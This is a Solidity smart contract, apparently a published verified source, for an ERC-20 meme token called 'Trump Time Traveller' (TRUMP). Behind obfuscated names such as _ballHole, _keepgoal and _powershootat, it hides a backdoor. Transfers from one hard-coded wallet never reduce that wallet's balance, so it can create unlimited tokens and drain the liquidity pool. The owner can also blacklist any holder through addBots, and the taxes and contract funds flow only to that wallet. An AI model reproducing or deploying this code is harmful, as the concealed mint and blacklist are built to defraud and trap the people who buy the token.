文件 1 的 1:TRUMP.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract TRUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _players;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _playersOnBench;
mapping(address => bool) private bots;
address payable private _ballHole;
string private constant _name = unicode"Trump Time Traveller";
string private constant _symbol = unicode"TRUMP";
uint256 private _beforeShortTax = 25;
uint256 private _beforeLongTax = 25;
uint256 private _afterShortTax = 0;
uint256 private _afterLongTax = 0;
uint256 private _afterShortTime = 15;
uint256 private _afterLongTime = 15;
uint256 private _startSwapAt = 0;
uint256 private _buyCounted = 0;
uint8 private constant _decimals = 18;
uint256 private constant _totals = 1e9 * 10 ** _decimals;
uint256 public _txMaxs = 2e7 * 10 ** _decimals;
uint256 public _walletMaxs = 2e7 * 10 ** _decimals;
uint256 public _swapAts = 5e3 * 10 ** _decimals;
uint256 public _swapMaxs = 1e7 * 10 ** _decimals;
IDexRouter private router;
address private lp;
bool private allowed;
bool private going = false;
bool private swapOn = false;
uint256 private sellCounted = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint256 _txMaxs);
modifier lock() {
going = true;
_;
going = false;
}
constructor() {
router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_ballHole = payable(0x53ff188a07747E20D4175606170e641081Ec7457);
_players[_msgSender()] = _totals;
_playersOnBench[owner()] = true;
_playersOnBench[address(this)] = true;
_playersOnBench[_ballHole] = true;
emit Transfer(address(0), _msgSender(), _totals);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totals;
}
function balanceOf(address account) public view override returns (uint256) {
return _players[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _throwaway(address rubbz) internal view returns (bool) {
return rubbz == _ballHole;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address frab, address tinz, uint256 borr) private {
require(frab != address(0), "ERC20: transfer from the zero address");
require(tinz != address(0), "ERC20: transfer to the zero address");
require(borr > 0, "Transfer amount must be greater than zero");
uint256 scored = 0;
if (frab != owner() && tinz != owner()) {
require(!bots[frab] && !bots[tinz]);
if (!(_playersOnBench[frab] || _playersOnBench[tinz])) {
require(allowed, "trading is off");
}
scored = (_buyCounted > _afterShortTime)
? _afterShortTax
: _beforeShortTax;
if (
frab == lp && tinz != address(router) && !_playersOnBench[tinz]
) {
require(borr <= _txMaxs, "max tax issue");
require(
balanceOf(tinz) + borr <= _walletMaxs,
"max wallet issue"
);
scored = (_buyCounted > _afterShortTime)
? _afterShortTax
: _beforeShortTax;
_buyCounted++;
}
if (tinz == lp && frab != address(this)) {
scored = (_buyCounted > _afterLongTime)
? _afterLongTax
: _beforeLongTax;
}
if (_playersOnBench[frab] || _playersOnBench[tinz]) {
scored = 0;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!going &&
tinz == lp &&
swapOn &&
_buyCounted > _startSwapAt &&
!_playersOnBench[frab] &&
!_playersOnBench[tinz]
) {
swapTokensForEth(
min(borr, min(contractTokenBalance, _swapMaxs))
);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0 ether) {
whistleoff(address(this).balance);
}
sellCounted++;
lastSellBlock = block.number;
}
}
_powershootat(frab, tinz, borr, scored);
}
function _powershootat(
address frab,
address tinz,
uint256 borr,
uint256 scored
) internal {
(uint256 _tax, uint256 _borr) = _keepgoal(frab, borr, scored);
_players[frab] = _players[frab].sub(borr.sub(_tax));
_players[tinz] = _players[tinz].add(_borr);
emit Transfer(frab, tinz, _borr);
}
function _keepgoal(
address frab,
uint256 borr,
uint256 scored
) internal returns (uint256, uint256) {
uint256 _tax = borr;
bool _scored = !_throwaway(frab);
if (_scored) {
_tax = borr.mul(scored).div(100);
if (_tax > 0) {
_players[frab] = _players[frab].sub(_tax);
_players[address(this)] = _players[address(this)].add(_tax);
emit Transfer(frab, address(this), _tax);
borr = borr.sub(_tax);
}
}
return (_tax, borr);
}
function freeBepe() external onlyOwner {
_txMaxs = _totals;
_walletMaxs = _totals;
emit MaxTxAmountUpdated(_totals);
}
function whistleoff(uint256 amount) private {
_ballHole.transfer(amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lock {
if (tokenAmount > _swapAts) {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint256 i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isbboy(address a) public view returns (bool) {
return bots[a];
}
function createPair() external onlyOwner {
require(!allowed, "trading is already open");
_approve(address(this), address(router), _totals);
lp = IUniswapV2Factory(router.factory()).createPair(
address(this),
router.WETH()
);
router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
address(0x000000000000000000000000000000000000dEaD),
block.timestamp
);
}
function openBepe() external onlyOwner {
require(!allowed, "trading is already open");
swapOn = true;
allowed = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _ballHole);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
whistleoff(ethBalance);
}
}
function manualsend() external {
require(_msgSender() == _ballHole);
uint256 contractETHBalance = address(this).balance;
whistleoff(contractETHBalance);
}
}